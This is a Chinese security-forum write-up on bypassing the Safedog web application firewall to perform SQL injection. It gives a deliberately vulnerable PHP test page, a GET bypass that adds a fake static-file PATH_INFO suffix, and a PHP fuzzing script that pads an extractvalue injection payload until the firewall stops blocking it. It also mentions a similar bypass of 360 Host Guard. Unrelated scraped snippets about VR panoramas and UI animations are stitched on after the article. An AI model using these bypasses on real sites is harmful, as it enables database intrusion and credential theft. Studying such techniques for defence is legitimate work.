记一次720度托马斯回旋过狗!

作者:索马里的海贼

来源:ichunqiu

本文属i春秋原创奖励计划,未经许可禁止转载!
前言
前些日子测试漏洞碰上了安全狗,一直做代码审计没什么实战经验

被虐的不要不要的。找了一些网上的方法,基本上封的封有限制的有限制,没什么通用的好方法(当然也可能是我找的姿势不对)。昨天有点时间就特地看了下安全狗的逻辑做了一些fuzz,成功bypass了GET和POST的注入防御,不是特别通用,就当给大伙分享一些思路。

正文
测试环境
Windows Server 2003 Enterprise Edition Service Pack 2
Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
网站安全狗(APACHE版) V3.5正式版

  • 1.主程序版本:3.5.12048
  • 2.网马库版本:2016-06-29

测试代码
sqlin.php:

<?php

$link = mysql_connect(‘localhost‘, ‘root‘, ‘root‘); mysql_select_db(‘anquangou‘, $link);

$sql = ‘select * from `user` where `id`=‘.$_REQUEST[‘id‘]; echo $sql."<br>\n";

$result =mysql_query($sql);

while($array = mysql_fetch_assoc($result)){ echo "id:".$array[‘Id‘]."<br />\n";

echo "username:".$array[‘username‘]."<br />\n"; echo "password:".$array[‘password‘]."<br />\n";

}

echo mysql_error();

数据库:

# Host: localhost        (Version: 5.5.53)

#        Date: 2016-11-19 17:57:30

#        Generator: MySQL-Front 5.3 (Build 4.234)

/*!40101 SET NAMES utf8 */;

#

# Structure for table "admin"

#

DROP TABLE IF EXISTS `admin`;

CREATE TABLE `admin` (

`Id` int(11) NOT NULL AUTO_INCREMENT, `admin_name` varchar(255) DEFAULT NULL, `admin_pass` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)

) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;

#

# Data for table "admin"

#

/*!40000 ALTER TABLE `admin` DISABLE KEYS */; INSERT INTO `admin` VALUES (1,‘admin‘,‘admin888‘);

/*!40000 ALTER TABLE `admin` ENABLE KEYS */;

#

# Structure for table "user"

#

DROP TABLE IF EXISTS `user`;

CREATE TABLE `user` (

`Id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) DEFAULT NULL, `password` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)

) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;

#

# Data for table "user"

#

/*!40000 ALTER TABLE `user` DISABLE KEYS */;

INSERT INTO `user` VALUES (1,‘user‘,‘userpass‘),(2,‘user2‘,‘upass2‘); /*!40000 ALTER TABLE `user` ENABLE KEYS */;

GET型注入

GET型的注入其实能动手脚的地方不多,就一个url。安全狗没有公开自己的防护规则,不过有添加规则的功能,看了下是用正则语法。猜测官方规则应该也是正则。绕过有两种选择:

1.绕过正则的匹配,匹配失败当然就不会被拦截了。

2.绕过(或者打乱)程序的逻辑。不进入匹配逻辑也就不会拦截了。

对于正则绕过,在不知道防护规则具体正则表达式的前提下,就只能fuzz了,各种穿插配合。不过我尝试的是第二种方法。

安全狗的原理是往Web Service中注入一个模块,抢在Web Service处理之前获得HTTP请求并根据规则处理,没问题就交给Web Service继续处理,有问题就拦截并返回自定义错误信息。
一个简单的测试

fakefile.php实际上并不存在,但是仍然会被安全狗拦下来。当然也包括php5 php4 asp cer asa等等等等 甚至扩展名是.111都会拦截。不过也有例外,常见的静态文件(.js .jpg .swf .css等等)它是不管的。

可以看到并没有出拦截提示而是直接404了 所以猜测安全狗应该是存在类似白名单机制的,特定的静态资源后缀请求就不处理直接交给webserver 这种处理看起来没问题其实是存在隐患的 Apache和IIS默认都开启pathinfo支持 来做个测试

对php来说 请求的是sqlin.php 后面的/pathinfo.css是 PATH_INFO 但是安全狗好像把 pathinfo.css 当作了真正的请求对象,因为是静态资源 所以不做处理直接把请求丢给了php。
就这么秒了?对。。是不是so easy?
        
POST型注入
POST型再用pathinfo就不好使了 因为正常对静态资源的请求不会用post 所以也不用什么白名单了 任何POST请求都要先进狗嘴了绕一圈 那么就想办法来fuzz一下吧 构造一个post脚本

<?php $i=10000;

$url = ‘http://192.168.1.121/sqlin.php‘; for(;;){

$i++;

echo "$i\n";

$payload = ‘id=-1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and 1=‘.str_repeat(‘3‘,$i); $ret = doPost($url,$payload);

if(!strpos($ret,‘网站防火墙‘)){

echo "done!\n".strlen($payload)."\n".$ret; die();

}

}

function doPost($url,$data=‘‘){ $ch=curl_init();

curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $return = curl_exec ($ch);

curl_close ($ch); return $return;

}

在正常的注入语句后面加入超长字符串 然而跑了很久都没结果 于是停下脚本 换换位置 把超长字符串放在中间

$payload = ‘id=-1 and 1=‘.str_repeat(‘3‘,$i).‘ and (extractvalue(1,concat(0x7e,(select user()),0x7e)))‘;

跑起来

wtf?又秒了?浏览器中试一下

太坑了 我才刚脱裤子你告诉我结束了

后记

其实实际测试中过程要复杂的多,时间关系挑了成功的步骤写一下pathinfo其实是一个很容易被忽视的问题 顺带测试了一下360的主机卫士 也存在相同的问题。而且360的主机卫士自带的白名单还有类似于dede admin 这样的(后台操作不防御)可以用
http://example.com/index.php/admin/?id=sql注入这种方式来秒

更多安全技术、精品好文、白帽黑客大佬尽在:http://bbs.ichunqiu.com/portal.php

时间: 2024-10-11 21:01:58

记一次720度托马斯回旋过狗!的相关文章

怎么制作室内720全景?

水平720度全能观看的场景图片,720度全景从专业的角度来讲就是视角逾越人的正常视角的图像.可以看到天和地的图片.那么,720度VR室内全景效果图怎么做呢? 室内全景如何拍摄 越来越多的行业在应用着360全景展示.所以,随着科技的发展.现在有很多的企业在网站中添加网展公司制作的360全景展示.小编原来讲过如何在室外拍摄全景,今天就教下大家如何在室内拍摄出好看的全景照片: 一.光线 想其艺术性要求不高,如何利用有限的光线是室内拍摄最具挑战性的难点.由于室内光源是固定的补光除外)也是不可撑控的唯一能

3D实景、720全景加盟,-全景智慧城市

VR全景智慧城市,多年从事三维全景技术应用的互联网公司,我们利用计算机图形学.多媒体.人工智能和计算机网络技术,深入研发和推广虚拟现实VR技术的行业应用.我们以优质的服务.国际领先的技术团队,为您定制全方位解决方案.720全景技术是基于真实场景的虚拟现实技术,可以让你从全方位的视角观察现场实景,身临其境的感觉是平面照片和三维重建都无法做到的.我们利用三维全景虚拟现实技术,制作成交互式720度全景虚拟漫游让你的产品更好地通过网络技术展现给您的客户,是提升您品牌形象的最佳呈现方式. 1)大众化电脑均

360全景系统看房,对现在的售楼处和客户有什么帮助

360全景展示系统是一种将平面图片转换为三维图片的一种技术,可以再现拍摄现场所有景象,将浏览者带入身临其境般的真实场景,相当于把楼盘环境和样板间搬到了网上. 全景展示是在照片基础之上拼合得到的图像,限度的保留了场景的真实性. 用户可以通过点击或滚动鼠标,放大.缩小自己感兴趣的场景,也可用鼠标左键按住拖动,观看场景的各个方向,为用户前期考察项目提供手依据. 360全景售楼系统是以360全景技术为特色,集影视广告.三维动画.互动多媒体触控技术.网络科技于一身的新型数字化营销工具.整合内容包括 项目规

酷雷曼360全景:制作高质量的360全景需要注意哪些

酷雷曼360全景隶属于同创蓝天投资管理(北京)有限公司,我们是一家专注与360度全景拍摄和制作的公司,是国内专业的以全景技术为核心的数字营销解决方案提供商. 我们的主要业务有:全景拍摄,360度全景制作,720度全景制作,三维全景制作,全景网站,景区全景.酒店全景.虚拟展厅.房产全景.数字博物馆全景.政府全景.企业全景.学校全景.虚拟漫游,并面向全国寻求合作伙伴,招商合作,为广大创业者提供优质的创业平台. 在拍摄360全景照片之前期有良好的规划,事先对场地.环境有一个初步的估算,拍摄过程中会顺利

360全景虚拟景区,现在的旅游景点都在用它赚钱

360全景在旅游景点应用,高清晰度全景三维展示景区的优美环境,给观众一个身临其景的体验,结合景区游览图导览,可以让观众自由穿梭于各景点之间,是旅游景区.旅游产品宣传推广的最佳创新手法. 360全景虚拟景区是指以全景虚拟现实为主要技术手段的虚拟现实技术,全面展示旅游景点风貌,给游客身临其境的感受. 360全景虚拟景区主要用于电子商务平台及景区数字推广. 国务院曾出台过<国务院关于加快发展旅游业的意见>的文件,该文件中要求旅游行业"以信息化为主要途径,提高旅游服务效率.全面提升旅游企业.

VR360全景校园 打开智慧生活大门

VR全景目前在国内非常火热,同样的在各个行业中,VR全景都有所应用,今天酷雷曼小编就和各位分享一下,VR全景在校园中的应用是怎样的.VR全景让教育.教学都发生了变革,提升了教学质量,互联网技术与VR全景技术的完美融合使教育不再单纯的依靠传统模式. 目前无论是高校学生还是中学生等大都是通过互联网和新媒体获取信息,在网络或者社交分享平台上面了解自己或者想要报考的院校信息,VR全景技术可以让学生们通过VR全景技术进行远程实景现场浏览,这样一来,学校的特色.风采.历史.重点学科展示等信息展现的更加全面.

WPF控制动画开始、停止、暂停和恢复

1.闲言 好久也没更新一博客了,自己有点发懒,同时确实这几个月来也有点忙.风机监测软件,项目中,有这样一个小需求:正常风机在旋转的时候,上位机软要做一个风机的图片,让它不停地旋转,一但检测到下面风机停止了,上位机软件界面的风机图片也要跟着停止,并且风机图片的旋转速度最好是能够与真实的速度成比例关系,这样软件才更有逼格一点.就是实现这样一个效果,看下图1,左边是一个状态指示,没有做动画,只是做了一个图片的切换,效果还看得过去吧. 图1 风机旋转动画 2.动画制作 在WPF做动画前,首先超码得有3个

Android攻城狮四种基础动画

AlphaAnimation(透明动画) 1.xml文件 <set xmlns:android="http://schemas.android.com/apk/res/android"> <!-- 渐变动画,表示从透明度10%到100%,持续时间为1秒 --> <alpha android:fromAlpha="0.1" android:toAlpha="1" android:duration="1000&

js 常见弹出框学习

模拟系统的弹出框 系统自带的弹出框 总结 链接  http://blog.csdn.net/anhuidelinger/article/details/17024491 参考这个网站学习模态框的动态弹出   http://tympanus.net/codrops/2013/06/25/nifty-modal-window-effects/,网站提供打包好的资源下载. html中的基本结构: <div class="md-modal md-effect-1" id="mo